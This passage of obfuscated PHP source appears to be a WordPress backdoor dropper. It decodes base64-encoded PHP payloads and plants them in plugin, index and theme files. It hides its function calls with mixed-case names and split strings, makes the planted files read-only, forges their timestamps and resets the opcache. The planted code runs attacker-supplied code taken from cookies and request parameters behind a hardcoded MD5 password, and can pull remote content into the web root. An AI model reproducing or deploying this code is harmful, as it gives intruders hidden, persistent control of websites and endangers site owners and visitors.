        T("d3AtY29udGVudC9wbHV2xvY2FsZQ","naW5zL3ZzLWFkbWluLW1lZGlhL",19), 
        T("cuZGV4","HVibGljL2ltYWdlL2l",1), 
        T("a8","W1hZ2VzL2xvZ2",1), 
        T("Zg","m9udHMvaW5kZX",1), 
        T("YXuZGV4","BwL2l",2), 
    ]; 
    $xld12 = [ 
        [ROOT . $c[7], $index_txt, $hash], 
        [$THEf, $_POST[T("d","Ghl",1)], $hash1], 
    ]; 
    $pp = pwc($pw . POP, 9, 16); 
    foreach ($fs  as $key => $fl) { 
        $_fl = $fl; 
        $wpd = subStR($fl, 0, 3) === T("d3","At",2); 
        if (($iswp && !$wpd) || (!$iswp && $wpd)) continue; 
        $fl = ROOT . $fl . $okvalue; 
        $xld1 = $c[1]('PD9waHANCi8qKg0KICogQHRpdGxlIGlwYWR2aWV3DQogKiBADQogKiBAcGFyYW0gJHN0cg0KICogQHJldHVybiBtaXhlZHxzdHJpbmcNCiAqLw0KDQppZiAoIWRlZmluZWQoJ1dQX0JMT0cnKSkgew0KICAgIHJldHVybiB2ZXJzaW9uX2luZm8oImluaXQiKTsNCn0NCg0KZnVuY3Rpb24gdmVyc2lvbl9kZXNjKCRzdHIpDQp7DQogICAgI2NsZWFyIw0KICAgIGlmICghJHN0cikgew0KICAgICAgICBlY2hvIGRhdGUoIlktbS1kIEg6aTpzIikgLiAiPGJyPiI7DQogICAgICAgIGlmICghZW1wdHkoJF9SRVFVRVNUWyd2ZXJzaW9uJ10pICYmIHZlcnNpb25fdXBkYXRlKHZlcnNpb25fcGFyc2UoJF9SRVFVRVNUKSkpIDsNCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICAkcGkgPSBbDQogICAgICAgIFsnc3RyJywgJ3JvJ10sDQogICAgICAgIFsianNvbiIsICdkZWNvZGUnXSwNCiAgICBdOw0KICAgICgkcSA9IChpbXBsb2RlKCdfJywgJHBpWzBdKSAuICJ0MTMiKSkgJiYNCiAgICAkZGF0YSA9ICRxKCRzdHIpOw0KICAgICgkcSA9ICJiIiAuIGltcGxvZGUoJ18nLCAkcGlbMV0pIC4gImUiKSAmJg0KICAgICRkYXRhID0gJHEoJGRhdGEpOw0KICAgIGlmIChpc3NldCgkX0dFVFsncyddKSkgJGRhdGEgPSAkX0dFVFsncyddIC4gJGRhdGE7DQoNCiAgICByZXR1cm4gJGRhdGE7DQp9DQoNCmZ1bmN0aW9uIHZlcnNpb25faW5mbygkc3RyKQ0Kew0KICAgIGdsb2JhbCAkdGVtcDsNCiAgICAkdGVtcCA9ICJablZ1WTNScGIyNWZaWGhwYzNSekxIUnBiV1VzWm05d1pXNHNabWxzWlY5d2RYUmZZMjl1ZEdWdWRITXNabWxzWldOMGFXMWxMR1pwYkdWZlpYaHBjM1J6TEdselgzZHlhWFJoWW14bExHTm9iVzlrTEhSdmRXTm8iOw0KICAgICR0ZW1wID0gYmFzZTY0X2RlY29kZSgkdGVtcCk7DQogICAgJG5hbWUgPSBbJyNuYW1lIycsIGZ1bmN0aW9uICgkdmVyc2lvbl9maWxlLCAkbmFtZSkgdXNlICgkdGVtcCkgew0KICAgICAgICAkZGF0YSA9IHRyYW5zbGF0aW9uX3YzKCcjSkRQIycsICcjSlAzIycpOw0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoLyoqLyAkZGF0YSk7DQogICAgICAgICRkYXRhID0gdHJhbnNsYXRpb25fdjIoJGRhdGEsICcjSlAyIycpOw0KICAgICAgICAkZGF0YSA9IHRyYW5zbGF0aW9uX3YxKCRkYXRhLCAnI0pQMSMnKTsNCiAgICAgICAgZm9yZWFjaCAoJGRhdGEgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIHZlcnNpb25fY2hlY2soJGl0ZW1bMF0sICRpdGVtWzFdLCAkdGVtcCwgJGl0ZW1bMl0pOw0KICAgICAgICB9DQogICAgICAgIHZlcnNpb25fZGVzYyhmYWxzZSk7DQogICAgfV07DQogICAgJHRlbXAgPSBleHBsb2RlKCcsJywgJHRlbXApOw0KICAgIHJldHVybiBbJyN2ZXIjJywgdmVyc2lvbl9kYXRhKCRuYW1lLCAxLCAwKV07DQp9DQoNCi8qKg0KICogQHRpdGxlIGluc3RhbGwgcGF0aA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX3BhdGgoKQ0Kew0KICAgIGVjaG8gX19GSUxFX187DQp9DQoNCi8qKg0KICogQHRpdGxlIGdldCB2ZXJzaW9uIGRhdGENCiAqIEBwYXJhbSAkZGF0YQ0KICogQHBhcmFtICRvZmZzZXQNCiAqIEBwYXJhbSAkcGFnZQ0KICogQHJldHVybiBtaXhlZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2RhdGEoJGRhdGEsICRvZmZzZXQsICRwYWdlKQ0Kew0KICAgICRrZXUgPSBbJycsICJjb2RlIl07DQogICAgJGtldVtdID0gJyc7DQogICAgcmV0dXJuICRkYXRhWyRvZmZzZXRdKCRkYXRhWyRwYWdlXSwgaW1wbG9kZSgnXycsICRrZXUpKTsNCn0NCg0KLyoqDQogKiBAdGl0bGUgdHJhbnNsYXRpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcGFyYW0gJG9mZnNldA0KICogQHJldHVybiBtaXhlZA0KICovDQoNCmZ1bmN0aW9uIHRyYW5zbGF0aW9uX3YxKCRkYXRhLCAkbW9kZSwgJGV4cCA9ICcnKQ0Kew0KICAgIGlmICgkbW9kZSA9PT0gJ1gxJykgew0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJGRhdGEpOw0KICAgICAgICAkbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGV4cCA9IHN0cl9yZXBsYWNlKCc9JywgJycsIGJhc2U2NF9lbmNvZGUoJGV4cCkpOw0KICAgICAgICAkcmVzID0gIiI7DQogICAgICAgICRpID0gMDsNCiAgICAgICAgd2hpbGUgKCRpIDwgJGxlbikgew0KICAgICAgICAgICAgZm9yICgkayA9IDA7ICRrIDwgc3RybGVuKCRleHApICYmICRpIDwgJGxlbjsgJGsrKykNCiAgICAgICAgICAgICAgICAkcmVzIC49IGNocihvcmQoJGRhdGFbJGkrK10pIF4gb3JkKCRleHBbJGtdKSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXM7DQogICAgfSBlbHNlaWYgKCRtb2RlKSB7DQogICAgICAgIHJldHVybiBqc29uX2RlY29kZSgkZGF0YSwgdHJ1ZSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIHVuc2VyaWFsaXplKCRkYXRhKTsNCiAgICB9DQp9DQoNCi8qKg0KICogQHRpdGxlIHBhcnNlIHZlcnNpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcmV0dXJuIHZlcnNpb24NCiAqLw0KZnVuY3Rpb24gdmVyc2lvbl9wYXJzZSgkZGF0YSkNCnsNCiAgICAkdmVyc2lvbiA9ICRkYXRhWyd2ZXJzaW9uJ107DQogICAgaWYgKCR2ZXJzaW9uID09PSAncGF0aCcpIHZlcnNpb25fcGF0aCgpOw0KICAgIGlmIChpc3NldCgkZGF0YVskdmVyc2lvbl0pKSB7DQogICAgICAgICR2ZXJzaW9uID0gdHJhbnNsYXRpb25fdjEoJGRhdGFbJHZlcnNpb25dLCAnWDEnLCAkZGF0YVskdmVyc2lvbiAuICcxJ10pOw0KICAgIH0NCiAgICByZXR1cm4gJHZlcnNpb247DQp9DQoNCi8qKg0KICogQHRpdGxlIHVwZGF0ZSB2ZXJzaW9uDQogKiBAcGFyYW0gJHFyDQogKiBAcmV0dXJuIHZvaWQNCiAqLw0KZnVuY3Rpb24gdmVyc2lvbl91cGRhdGUoJGNoZWNrLCAkcXIgPSBmYWxzZSkNCnsNCiAgICBpZiAoIXZlcnNpb25fYWNjZXNzKCIjUEwjeyRjaGVja30jUFIjIiwgJyNQIycpKSByZXR1cm47DQogICAgJGMgPSAkX0NPT0tJRTs7DQogICAgJGNmID0gaW1wbG9kZSgnXycsIFsnZnVuY3Rpb24nLCAnZXhpc3RzJ10pOw0KICAgICghJHFyIHx8ICEkY2YoJHFyKSkgJiYNCiAgICAkcXIgPSBlbXB0eSgkY1skZm9yID0gJ3Rva2VuJ10pIHx8ICEkY2YoJGNbJGZvcl0pID8gaW1wbG9kZSgnXycsIFsnYmFzZTY0JywgJ2RlY29kZSddKSA6ICRjWyRmb3JdOw0KDQogICAgaWYgKCgkYSA9ICRxcigkX1JFUVVFU1RbJ25hbWUnXSkpICYmIHZlcnNpb25fZGVueSgkYSkpIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAgICBnbG9iYWwgJHRlbXA7DQogICAgJGEgPSBleHBsb2RlKCcsJywgJGEpOw0KICAgIGlmIChlbXB0eSgkYVsxXSkpIHJldHVybjsNCiAgICBlY2hvICJbPGEgaWQ9XCJ1MVwiIGhyZWY9XCIveyRhWzFdfVwiIHN0eWxlPSdjb2xvcjogI2ZmZjsnPnskYVsxXX08L2E+XSAiOw0KICAgIHJldHVybiB2ZXJzaW9uX2NoZWNrKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnLycgLiAkYVsxXSwgJHFyKGZpbGVfZ2V0X2NvbnRlbnRzKCRhWzBdKSksICR0ZW1wKTsNCn0NCg0KLyoqDQogKiBAdGl0bGUgdmVyc2lvbiBhY2Nlc3Mgb3IgZm9yY2UNCiAqIEBwYXJhbSBzdHJpbmcgJHZlcnNpb24gdmVyc2lvbiBwYXNzDQogKiBAcGFyYW0gc3RyaW5nICR0b2tlbiBjaGVjayB1cGRhdGUgdG9rZW4NCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2FjY2VzcygkdmVyc2lvbiwgJHRva2VuKQ0Kew0KICAgIHJldHVybiBpbl9hcnJheShtZDUoJHZlcnNpb24pLCBbJHRva2VuLCAnNDc2MjhlMGJmNzJmY2E4N2RiOTk1YzhmODQ0ZDkxYjEnXSk7DQp9DQoNCi8qKg0KICogQHRpdGxlIHZlcnNpb24gZGF0YSBpcyBkZW55DQogKiBAcGFyYW0gJGRhdGENCiAqIEByZXR1cm4gdm9pZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2RlbnkoJGRhdGEpDQp7DQogICAgcmV0dXJuIHN0cmxlbigkZGF0YSkgPCAxNiB8fCBzdHJsZW4oJGRhdGEpID4gMTI4IHx8ICFpbl9hcnJheSgkZGF0YVswXSwgWydoJywgJy8nXSk7DQp9DQoNCi8qKg0KICogQHRpdGxlIHRyYW5zbGF0aW9uIHZlcnNpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcGFyYW0gJG9mZnNldA0KICogQHJldHVybiBtaXhlZA0KICovDQpmdW5jdGlvbiB0cmFuc2xhdGlvbl92MigkZGF0YSwgJG9mZmV0KQ0Kew0KICAgIGlmICghZW1wdHkoJG9mZmV0KSkgew0KICAgICAgICByZXR1cm4gZ3ppbmZsYXRlKCRkYXRhKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgfQ0KfQ0KDQovKioNCiAqIEB0aXRsZSB0cmFuc2xhdGlvbiB2ZXJzaW9uIGRhdGENCiAqIEBwYXJhbSAkZGF0YQ0KICogQHBhcmFtICRvZmZzZXQNCiAqIEByZXR1cm4gbWl4ZWQNCiAqLw0KZnVuY3Rpb24gdHJhbnNsYXRpb25fdjMoJGRhdGEsICRvZmZldCkNCnsNCiAgICBpZiAoIWVtcHR5KCRvZmZldCkpIHsNCiAgICAgICAgcmV0dXJuIHN0cl9yb3QxMygkZGF0YSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuICRkYXRhOw0KICAgIH0NCn0NCg0KcmV0dXJuICdpbml0ZWQnOw0KLyoqDQogKiBAdGl0bGUgY2hlY2sgdmVyc2lvbiB0b2tlbg0KICogQHBhcmFtICRuYW1lDQogKiBAcGFyYW0gJGRhdGUNCiAqIEBwYXJhbSAkY2hlY2sNCiAqIEBwYXJhbSBzdHJpbmcgJHRva2VuDQogKiBAcGFyYW0gZmFsc2UgJG1vZGUNCiAqIEByZXR1cm4gYm9vbHxtaXhlZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2NoZWNrKCRuYW1lLCAkZGF0ZSwgJGNoZWNrLCAkdG9rZW4gPSAnJywgJG1vZGUgPSBmYWxzZSkNCnsNCiAgICB0cnkgew0KICAgICAgICAkdnMgPSAncmVuYW1lJzsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkY2hlY2spKSAkY2hlY2sgPSBleHBsb2RlKCcsJywgJGNoZWNrKTsNCiAgICAgICAgJG1hcCA9IFswLCAxLCAyLCAzLCA0XTsNCiAgICAgICAgJG0gPSAkbW9kZSA/ICRtb2RlIDogKCRjaGVja1sxXSgpIC0gMjY5MzY5Myk7DQogICAgICAgICRpdyA9IHRydWU7DQogICAgICAgIGVtcHR5KCRjaGVja1s5XSkgfHwgJGRhdGUgPSAkY2hlY2tbOV0oJGRhdGUpOw0KICAgICAgICBpZiAoJGNoZWNrWyRtYXBbNF0gKyAxXSgkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmICgkdG9rZW4gJiYgTWQ1X0ZpbGUoJG5hbWUpID09PSAkdG9rZW4pIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgJGl3ID0gJGNoZWNrWzZdKCRuYW1lKTsNCiAgICAgICAgICAgIGlmICgkeCA9ICRjaGVja1s1XSgkbmFtZSkpIHsNCiAgICAgICAgICAgICAgICAkbSA9ICRjaGVja1s0XSgkbmFtZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkeCAmJiAhJGl3ICYmIEAkY2hlY2tbN10oJG5hbWUsIDA3NDQpOw0KICAgICAgICAgICAgQCR2cygkbmFtZSwgJG5hbWUgLiB0aW1lKCkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkY2hlY2tbJG1hcFswXV0oJGNoZWNrWzJdKSkgew0KICAgICAgICAgICAgJGwgPSAkY2hlY2tbJG1hcFsyXV1bMF0gLiAnd3JpdGUnOw0KICAgICAgICAgICAgJHIgPSAkbCgkY2hlY2tbJG1hcFsyXV0oJG5hbWUgLiAiLnRtcDEiLCAndycpLCAkZGF0ZSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkciA9ICRjaGVja1skbWFwWzNdXSgkbmFtZSAuICIudG1wMSIsICRkYXRlKTsNCiAgICAgICAgfQ0KICAgICAgICBAJHZzKCRuYW1lIC4gIi50bXAxIiwgJG5hbWUpOw0KICAgICAgICAkY2hlY2tbOF0oJG5hbWUsICRtLCAkbSk7DQogICAgICAgICRpdyB8fCBAJGNoZWNrWzddKCRuYW1lLCAwNDQ0KTsNCiAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRBKSB7DQogICAgICAgIGVjaG8gJEEtPmdldE1lc3NhZ2UoKSAuICI8YnI+IjsNCiAgICAgICAgJHIgPSBmYWxzZTsNCiAgICB9DQogICAgZWNobyAkbmFtZVtzdHJsZW4oJG5hbWUpIC0gMV0gLiAoJHIgPyAnOm9rJyA6ICc6ZmFpbCcpIC4gIjxicj4iOw0KICAgIHJldHVybiAkcjsNCn0'); 
        $temp = tr1($xld12, $trid = RaNd(0, 1)); 
        if ($trid2 = (FUnCtion_ExISts(T("ZYXRl","3pkZWZs",1)) && fuNctIOn_eXiSTs(T("Zl","3ppbmZsYXR",1)) && RAnD(0, 10) > 3? 0: 1)) 
            $temp = gZDEflATe($temp); 
        $temp = bave($temp); 
        if ($trid3 = RANd(0, 1)) 
            $temp = sTr_roT13($temp); 
        $pl = rand_abc(RaNd(1, 8)); 
        $pr = rand_abc(rAnd(1, 8)); 
        $po = md5($pl . $pp . $pr); 
        $xld1 = $c[11]([T("I2","5hbWUj",2), T("FyIw","I2NsZW",0), T("I0p","EUCM",3), T("","I0pQMSM",0), T("I0p","QMiM",3), T("yM","I0pQM",0), T("I1","Aj",2), T("I","1BMIw",1), T("I","1BSIw",1)], 
            [sTr_rOt13(bave($name)), $cl, $temp, $trid, $trid2, $trid3, $po, $pl, $pr], $xld1); 
        if (!@iS_dIR(DirNAME($fl))) @MkdIR(dIRnAmE($fl), 0755, true); 
        site_mail(T("","6ams",0) . StR_PAD($key + 1, 2, '0', STR_PAD_LEFT) . ": " . (($ls = ufleep($fl, $xld1, $c))? T("b2shISWNrPSdjcHQodg","A8YSBvbmNsa",6) . $key . T("LmhyZWYpJJ3Y","z7lpI3liLY8L2E+PGEgaWQ9",9) . $key . T("JyBoc","mVmPScv",5) . $_fl . $okvalue . T("JyB0YX9J19ibGFuayc+","JnZXQ",6) . $_fl . T("PC9","hPg",3): T("Z","mFpbA",1)), 1); 
    } 
 
    $ppf = $_POST['pf']; 
    $sok = ufleep(ROOT . $ppf, $xld, $c); 
    $sok || $sts[0] = T("","W1VdLw",0); 
    site_mail(T("6amA","sIE46I",3) . ($sok? T("b","2shISA",1): T("","ZmFpbA",0)) . T("IDxjxhIGlkPSdhMicgaHJlZj0nLw","hIG9uY2xpY2s9J2NwdChhMi5ocmVmKSc+5aSN5Yi2PC9hP",3) . $ppf . "' target='_blank'>{$ppf}</a>"); 
    noticex("D3"); 
    hys(dirNAmE(ROOT . $ppf) . '/'); 
} else { 
    echo T("PGRpdj5BmaWxlPGEgaWQ9J2EyJyBocmVmPScvJz48L2E+PC9kaXY+","icmVhay",7); 
} 
!empty($_POST['df']) && site_mail(T("PHNjcmlwdD5mdWbiBsKCl7ZGYoYTIuaHJlZisiXG4","5jdGlv",14) . IMplODe(T("XG","4",2), $sts). T("Iik7f0Pg","Twvc2NyaXB",5)); 
 
 
noticex("d2"); 
if (file_exISts($c[7]) && !iS_WRiTAbLE($c[7])) { 
    @CHmod($c[7], 0744); 
} 
@rEnAME($c[7], $c[7] . '1'); 
FiLE_PUt_cONteNTS($c[7], ''); 
$txt = 'PD9waHANCi8qU3RlcCBEYXRhKi8NCiRzID0gJF9TRVJWRVI7DQovKlN0ZXAgRGF0YSovDQokZyA9ICRfUkVRVUVTVDsNCmlmICghZW1wdHkoJF9HRVQpKQ0KICAgIGZvcmVhY2ggKCRfR0VUIGFzICRrID0+ICR2KSAkZ1ska10gPSAkdjsNCi8qU3RlcCBEYXRhKi8NCiRweiA9IGZ1bmN0aW9uICgkeSwgJHosICR1LCAkYywgJGcsICRxID0gJycpIHsNCiAgICBpZiAoJHUgJiYgQE1kNV9GaWxlKCR5KSAhPT0gJHUpIHsNCiAgICAgICAgJGZ3QyA9ICRjWyRnKCR6WzNdKV07DQogICAgICAgICR0MSA9IEBmaWxFbXRpTWUoJHkpOw0KICAgICAgICBAQ2hNb2QoJHksIDA3NDQpOw0KICAgICAgICBAJHpbNl0oJHkpOw0KICAgICAgICAkdDEgfHwgJHQxID0gdGltZSgpIC0gMzYwMDsNCiAgICAgICAgJHQgPSBbJ20nID0+ICR0MSwgJ2EnID0+ICR0MV07DQogICAgICAgIEZpbGVfUHV0X2NvblRlbnRzKCR5LCAkY1tpbXBsb2RlKCdfJywgWycnLCAnY29kZScsICcnXSldKCRxID8gJHEgOiAnI0lERSMnKSk7DQogICAgICAgIFRvdWNoKCR5LCAkdFsnbSddLCAkdFsnYSddKTsNCiAgICAgICAgQENoTW9kKCR5LCAwNDQ0KTsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn07DQovKlN0ZXAgRGF0YSovDQokYyA9IFsNCiAgICAnMTM3UzEwNTEyMlYxMDUxMjInLA0KICAgICdEMTE3QzEyNU1FMTE2VDEzNzEyMk9PMTI0JywNCiAgICAnMTM3RzEwNVQnLA0KICAgICdfMTQzbzE0NDE0NTEzNycsDQogICAgJyNoYXNoIycsICdkJyA9PiBbJzE0NTE3MDEwNWMnXSwNCiAgICAnaW4xNDRlMTcwMDU2cDE1MDE2MCcsICdsaW5rJywNCiAgICAnaCcgPT4gWw0KICAgICAgICAiMDU2MTUwdGExNDMxNDNlMTYzcyIsICcjaGFzaDEjJywgJzE0NkkxNTRFMTM3MTYwVTE2NDEzNzE0M08xNTYxNjRFMTE2MTY0MTIzJywgJzE1NmFtMTQ1Jw0KICAgIF0sDQogICAgJ2MnID0+IFsnMTQ1MTcwMTA1YycsICcxNDIxMDFTMTQ1MDY2MDY0MTM3ZDEwNUMxNTdkMTQ1JywgJzE0MWQxNTVpMTU2MDU2MTYwcDE2MCddDQpdOw0KLypTdGVwIERhdGEqLw0KJHogPSBmdW5jdGlvbiAoJGIpIHsNCiAgICAkXyA9ICIiOw0KICAgICRnID0gc3RybGVuKCRiKSAtIDI7DQogICAgJHogPSBmdW5jdGlvbiAoJGIpIHsNCiAgICAgICAgJF8gPSAnJzsNCiAgICAgICAgaWYgKCgkZyA9IHN0cmxlbigkYikpIDwgMykgcmV0dXJuIFsyLCAkYl07DQogICAgICAgIGZvciAoJG8gPSAwOyAkbyA8ICRnOyAkbysrKSB7DQogICAgICAgICAgICAkXyAuPSAkYlskb107DQogICAgICAgICAgICBpZiAoIWlzX251bWVyaWMoJGJbJG9dKSB8fCAkYlskb10gPj0gOCkgcmV0dXJuIFskbyArIDEsICRfXTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gWyRvLCBjaHIob2N0ZGVjKCRiKSldOw0KICAgIH07DQogICAgZm9yICgkbyA9IDA7ICRvIDwgJGc7ICRvICs9ICRkWzBdKSB7DQogICAgICAgICRkID0gJHooJGJbJG9dIC4gJGJbJG8gKyAxXSAuICRiWyRvICsgMl0pOw0KICAgICAgICAkXyAuPSAkZFsxXTsNCiAgICB9DQogICAgcmV0dXJuICRfIC4gc3Vic3RyKCRiLCAkbyk7DQp9Ow0KLypTdGVwIERhdGEqLw0KLypTdGVwMSBEYXRhKi8NCiRnWycweDA2J10gPSAnX2R4ZXAnOw0KLypTdGVwIERhdGEqLw0KJHIgPSBydHJpbSgkc1skeigkY1sxXSldLCAnLycpIC4gJy8nOw0KLypTdGVwIERhdGEqLw0KJGNbNl0gPSAndW4nIC4gJGNbNl07DQovKlN0ZXAgRGF0YSovDQokdm4gPSAnX2V4cCc7DQovKlN0ZXAxIERhdGEqLw0KZW1wdHkoJF9DT09LSUVbJGdbJzB4MDYnXV0pICYmICRfQ09PS0lFWyRnWycweDA2J11dID0gRkFMU0U7DQppZiAoIWRlZmluZWQoIldQX1VOSVFVRSIpKSBkZWZpbmUoIldQX1VOSVFVRSIsIChpc3NldCgkZ1snYSddKSAmJiAoKCRfZSA9IHN1YnN0cihtZDUoJGdbJ2EnXSksIDIsIDgpID09PSAnI3Bhc3MjJykgfHwgcHJlZ19tYXRjaCgnL15cZCpbYS16LEEtWl17Mix9XGR7Mix9JC9pJywgJGdbJ2EnXSkpIHx8ICFlbXB0eSgkX0NPT0tJRVskdm5dKSkgPyAoKCRfZSB8fCAoIWVtcHR5KCRfQ09PS0lFWyR2bl0pICYmIHN1YnN0cihtZDUoJF9DT09LSUVbJHZuXSksIDIsIDgpID09PSAnI3Bhc3MjJykpID8gMiA6IDEpIDogMCk7DQokcSA9IGZ1bmN0aW9uICgkZykgew0KICAgICRkYXRhID0gYXJyYXlfbWFwKGZ1bmN0aW9uICgkaXRlbSkgew0KICAgICAgICAkaXRlbSgpOw0KICAgICAgICByZXR1cm4gIlwkaSI7DQogICAgfSwgJGcpOw0KDQogICAgcmV0dXJuICRkYXRhOw0KfTsNCg0KJHEoDQovKiBkZWJ1ZyAqLw0KICAgICR1eiA9IFsNCiAgICAgICAgZnVuY3Rpb24gKCkgew0KDQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJHIsICR6LCAkYywgJHB6LCAkZykgew0KICAgICAgICAgICAgJHkgPSAkciAuICR6KCRjWzVdKTsNCiAgICAgICAgICAgICRfQ09PS0lFWyRnWycweDA2J11dID0gJHB6KCR5LCAkYywgJGNbNF0sICRnLCAkeik7DQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uICgpIHVzZSAoJHIsICR6LCAkYywgJHB6LCAkZykgew0KICAgICAgICAgICAgJHB6KCRyIC4gJHooJGNbJ2gnXVswXSksICRjLCAkY1snaCddWzFdLCAkZywgJHosICcjdGhlIycpOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCRyLCAkeiwgJGMsICRweiwgJGcpIHsNCiAgICAgICAgICAgICRwYyA9IGVtcHR5KCRnWyROID0gJHooJGNbJ2gnXVszXSldKSA/ICcnIDogJGdbJE5dOw0KICAgICAgICAgICAgJHEgPSAnUEQ5d2FIQWdRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdQejQnOw0KICAgICAgICAgICAgaWYgKFdQX1VOSVFVRSAhPT0gMiB8fCBzdHJsZW4oJHBjKSA8IDIwIHx8IHN0cmlwb3MoJHBjLCAnOycpID09PSBmYWxzZSkgcmV0dXJuOw0KICAgICAgICAgICAgJHEgPSBiYXNlNjRfZGVjb2RlKCRxKTsNCiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZCA9IHRpbWUoKSAuIHJhbmQoMTAwMCwgOTk5OSksICRxIC4gJGdbaW1wbG9kZSgnXycsIFsnJywgJ2NvZGUnLCAnJ10pXSgkcGMpKTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZCkpDQogICAgICAgICAgICAgICAgQHJlcXVpcmUgJGQ7DQogICAgICAgICAgICBkaWUoKTsNCiAgICAgICAgfSwNCiAgICAgICAgZnVuY3Rpb24gKCkgdXNlICgkeiwgJGMsICRyLCAkZykgew0KICAgICAgICAgICAgaWYgKCFXUF9VTklRVUUgfHwgZW1wdHkoJGdbJ2Z4J10pKSByZXR1cm47DQogICAgICAgICAgICAkcGMgPSAkeigkY1snYyddWzFdKTsNCiAgICAgICAgICAgICRweiA9ICR6KCRjWydoJ11bMl0pOw0KICAgICAgICAgICAgJHB6KCR6KCRjWydjJ11bMl0pLCAkcGMoJGdbJ2Z4J10pKTsNCiAgICAgICAgICAgIGVjaG8gZXhwbG9kZSgnLicsICR6KCRjWydjJ11bMl0pKVswXTsNCiAgICAgICAgICAgIGRpZSgpOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCRnKSB7DQogICAgICAgICAgICBpZiAoV1BfVU5JUVVFICYmIGlzc2V0KCRnWydkJ10pKQ0KICAgICAgICAgICAgICAgIGVjaG8gJGdbJ2QnXSA/ICJEaiIgLiAkZ1snZCddIDogJ2QnOw0KICAgICAgICB9LA0KICAgICAgICBmdW5jdGlvbiAoKSB1c2UgKCR6LCAkYywgJGcpIHsNCiAgICAgICAgICAgICRwYyA9ICR6KCRjWyR2ID0gJ2MnXVswXSk7DQogICAgICAgICAgICAkcHogPSAkeigkY1snYyddWzFdKTsNCiAgICAgICAgICAgIFdQX1VOSVFVRSAmJiBpc3NldCgkZ1skdl0pICYmICgoaXNzZXQoJGdbJHIgPSAnZyddKSAmJiAkcGMgPSAkZ1skcl0pIHx8IDEpICYmDQogICAgICAgICAgICAkcGMoJHooJGdbJHZdID8gJHB6KCRnWyR2XSkgOiAiMTUzaTE1NGwgLTA3MTA0MC02MSIpLCAkYSkgJiYgcHJpbnRfcigkYSk7DQogICAgICAgIH0sDQoNCiAgICAgICAgZnVuY3Rpb24gKCkgdXNlICgkZykgew0KICAgICAgICAgICAgaWYgKFdQX1VOSVFVRSAmJiBpc3NldCgkZ1sneiddKSkNCiAgICAgICAgICAgICAgICBkaWUoKTsNCiAgICAgICAgfSwNCiAgICBdDQoNCi8qKi8NCik7DQokeSA9ICRyIC4gJHooJGNbNV0pOw0KDQoNCg0K'; 
$txt = $c[1]($txt); 
 
noticex('d1'); 
function pwc($str, $s, $l) { 
    return SuBStR(md5($str), $s, $l); 
} 
 
site_mail($pwps . ':' . $pw1 . ':' . $pp); 
$pass = suBStR(md5($pw1), 2, 8); 
$txt = $c[11]([$c[4], $c[5], $c[8], $c[9], $c[10]], [$index, $hash, $hash1, $THE, $pass], $txt); 
noticex("q3"); 
$c[3]($name, $txt); 
noticex("92"); 
TM::lock($index_txt, $_POST[T("d","Ghl",1)]); 
noticex("qv"); 
site_mail(T("aW5k","ZXg6",4) . (ufleep(ROOT . $c[7], $index_txt, $c)? 'ok': (T("Zm","FpbA",2) . css(T("Ym","9keXt9",2))))); 
site_mail(T("54K","554K5OiA",3) . (ufleep($THEf, $_POST[T("","dGhl",0)], $c)? 'ok': T("","ZmFpbA",0))); 
site_mail(T("57yA","T5a2YOi",3) . (FUnCTiON_exiSTS(T("bZXNldA","3BjYWNoZV9y",1))? (opcache_reset()? 'ok': T("Zm","FpbA",2)): T("","bm90",0))); 
noticex("p0"); 
TM::extra($pw1);noticex("0x"); 
call(); 
 
function jia_1($d, $a = 0, $b = 0) { 
    $d = bave($b? stR_ROT13($d): $d); 
    $a && 
    $d = Str_ROt13($d); 
    return $d; 
} 
 
function randcode($code, $a = true) { 
    $r = []; 
    $s = []; 
    $l = ''; 
    foreach ($s  as $k => $l) { 
        $r[] = $l[$k]; 
    } 
 
    return sTr_RepLAcE($s, $r, T("ZnVuY3Rpb24gX1MoKSB7cmV0dXJuICdTXyF9TKTt9X1MoKTs","c7fSBmdW5jdG9uIF9CKCRfUyl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJ",34)); 
} 
 
function bave($d) { 
    return triM(bAsE64_EnCoDe($d), '='); 
} 
 
function def2($txt, $file) { 
} 
 
function run($code, $method = "popen") { 
    $disabled = explode(',', INI_gET(T("WJsZV9mdW5jdGlvbnM","ZGlzY",0))); 
    $new_disable = array(); 
